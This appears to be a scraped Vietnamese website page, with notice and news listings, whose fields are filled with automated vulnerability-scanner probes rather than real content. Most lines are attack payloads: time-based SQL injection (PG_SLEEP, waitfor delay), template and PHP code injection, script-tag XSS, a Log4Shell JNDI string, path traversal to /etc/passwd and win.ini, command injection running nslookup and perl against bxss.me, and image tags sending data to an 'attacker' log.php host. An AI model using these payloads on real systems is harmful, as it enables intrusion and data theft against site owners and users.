ZjfEFjOA' OR 948=(SELECT 948 FROM PG_SLEEP(15))-- 0
-1)) OR 896=(SELECT 896 FROM PG_SLEEP(15))-- 0
-5) OR 394=(SELECT 394 FROM PG_SLEEP(15))-- 0
-5 OR 171=(SELECT 171 FROM PG_SLEEP(15))-- 0
Ko5MfSqd')); waitfor delay '0:0:15' -- 0
Gu6ByLO7'); waitfor delay '0:0:15' -- 0
9wUeDkAO'; waitfor delay '0:0:15' -- 0
1 waitfor delay '0:0:15' -- 0
-1)); waitfor delay '0:0:15' -- 0
-1); waitfor delay '0:0:15' -- 0
-1; waitfor delay '0:0:15' -- 0
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 0
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0
if(now()=sysdate(),sleep(15),0) 0
-1" OR 2+569-569-1=0+0+0+1 -- 0
-1' OR 2+678-678-1=0+0+0+1 or 'eSRAQZOA'=' 0
-1' OR 2+665-665-1=0+0+0+1 -- 0
-1 OR 2+270-270-1=0+0+0+1 0
-1 OR 2+70-70-1=0+0+0+1 -- 0
AIlI79tM 0
1 0
1 0
1 0
acx__${98991*97996}__::.x 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
acx[[${98991*97996}]]xca 0
acx{{98991*97996}}xca 0
1 0
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0
1 0
<th:t="${acx}#foreach 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1<esi:include src="http://bxss.me/rpb.png"/> 0
1 0
1 0
<%={{={@{#{${acx}}%> 0
1 0
acux2966%C0%BEz1%C0%BCz2a%90bcxuca2966 0
acu10955%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10955 0
19735415 0
'"()&%<acx><ScRiPt >5Bns(9089)</ScRiPt> 0
1'"()&%<acx><ScRiPt >5Bns(9874)</ScRiPt> 0
;(nslookup hitybasdlwaya4558f.bxss.me||perl -e "gethostbyname('hitybasdlwaya4558f.bxss.me')")|(nslookup hitybasdlwaya4558f.bxss.me||perl -e "gethostbyname('hitybasdlwaya4558f.bxss.me')")&(nslookup hitybasdlwaya4558f.bxss.me||perl -e "gethostbyname('hitybasdlwaya4558f.bxss.me')") 0
1 0
`(nslookup hituebwkjaobua148d.bxss.me||perl -e "gethostbyname('hituebwkjaobua148d.bxss.me')")` 0
1 0
1 0
1 0
|(nslookup hituueoaktrpl0c1b0.bxss.me||perl -e "gethostbyname('hituueoaktrpl0c1b0.bxss.me')") 0
1 0
bxss.me 0
${j${::-n}di:dns${::-:}//hithgntndpihd05cde${::-.}bxss.me} 0
http://bxss.me/t/fit.txt%3F.jpg 0
Http://bxss.me/t/fit.txt 0
1 0
1some_inexistent_file_with_long_name%00.jpg 0
1 0
1 0
../1 0
1 0
1 0
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
&(nslookup hitxbotgljkhrd5f90.bxss.me||perl -e "gethostbyname('hitxbotgljkhrd5f90.bxss.me')")&'\"`0&(nslookup hitxbotgljkhrd5f90.bxss.me||perl -e "gethostbyname('hitxbotgljkhrd5f90.bxss.me')")&`' 0
$(nslookup hitncgbitjvpbc8d82.bxss.me||perl -e "gethostbyname('hitncgbitjvpbc8d82.bxss.me')") 0
1 0
(nslookup hitarhqocqxpgab1d5.bxss.me||perl -e "gethostbyname('hitarhqocqxpgab1d5.bxss.me')") 0
bxss.me/t/xss.html?%00 0
../../../../../../../../../../../../../../windows/win.ini 0
HttP://bxss.me/t/xss.html?%00 0
"+response.write(9228433*9081400)+" 0
'+response.write(9228433*9081400)+' 0
1 0
response.write(9228433*9081400) 0
'+'A'.concat(70-3).concat(22*4).concat(117).concat(71).concat(113).concat(87)+(require'socket' Socket.gethostbyname('hitnr'+'whjusaweb4095.bxss.me.')[3].to_s)+' 0
"+"A".concat(70-3).concat(22*4).concat(107).concat(80).concat(120).concat(77)+(require"socket" Socket.gethostbyname("hitwg"+"xarqrvsl428bd.bxss.me.")[3].to_s)+" 0
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0
0
1 0
1 0
|echo qyatlc$()\ bmjfxx\nz^xyu||a #' |echo qyatlc$()\ bmjfxx\nz^xyu||a #|" |echo qyatlc$()\ bmjfxx\nz^xyu||a # 0
1 0
&echo piqvmp$()\ txeclb\nz^xyu||a #' &echo piqvmp$()\ txeclb\nz^xyu||a #|" &echo piqvmp$()\ txeclb\nz^xyu||a # 0
echo xlskbm$()\ codhoz\nz^xyu||a #' &echo xlskbm$()\ codhoz\nz^xyu||a #|" &echo xlskbm$()\ codhoz\nz^xyu||a # 0
1 0
1 0
../../../../../../../../../../../../../../etc/passwd 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
<!-- 0
1 0
1 0
^(#$!@#$)(()))****** 0
!(()&&!|*|*| 0
1 0
1 0
'" 0
1 0
1 0
zJcNCFzI 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
'.print(md5(31337)).' 0
${@print(md5(31337))}\ 0
${@print(md5(31337))} 0
";print(md5(31337));$a=" 0
';print(md5(31337));$a=' 0
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0
1 0
1 0
1 0
1 0
1 0
${9999184+9999545} 0
1 0
1 0
1 0
/../../../../../../../../../../windows/system32/BITSADMIN.exe 0
) 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
/xfs.bxss.me 0
1 0
1 0
1 0
'"() 0
1 0
0
1 0
1&n908231=v986844 0
1 0
1 0
1 0
1 0
1 0
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
".gethostbyname(lc("hitmp"."hsorpqoh03eac.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(72).chr(111).chr(71)." 0
'.gethostbyname(lc('hitoe'.'pvgmtydccda0d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(83).chr(99).chr(67).' 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0

Thông báo
1
  • 7/27/2024 5:09:38 AM 15
1
  • 7/27/2024 5:09:38 AM 14
1
  • 7/27/2024 5:09:37 AM 14

Tin mới nhất
1
  • 7/27/2024 5:39:08 AM 14
1
  • 7/27/2024 5:39:08 AM 14
1
  • 7/27/2024 5:39:07 AM 14
1<ax2XUsT<
  • 7/27/2024 5:39:06 AM 13

Thông tin hội thảo
ngoài trường

1<aD4jofg<
  • 7/27/2024 8:24:33 AM 3
1<img sRc='http://attacker-9432/log.php?
  • 7/27/2024 8:24:31 AM 3
1<aiKL9xF x=9939>
  • 7/27/2024 8:24:31 AM 4

Thông tin NCKH
ngoài trường

1<akfchi8<
  • 7/27/2024 11:26:31 AM 2
1<img sRc='http://attacker-9385/log.php?
  • 7/27/2024 11:26:31 AM 4
1<aDhiqKc x=9718>
  • 7/27/2024 11:26:30 AM 3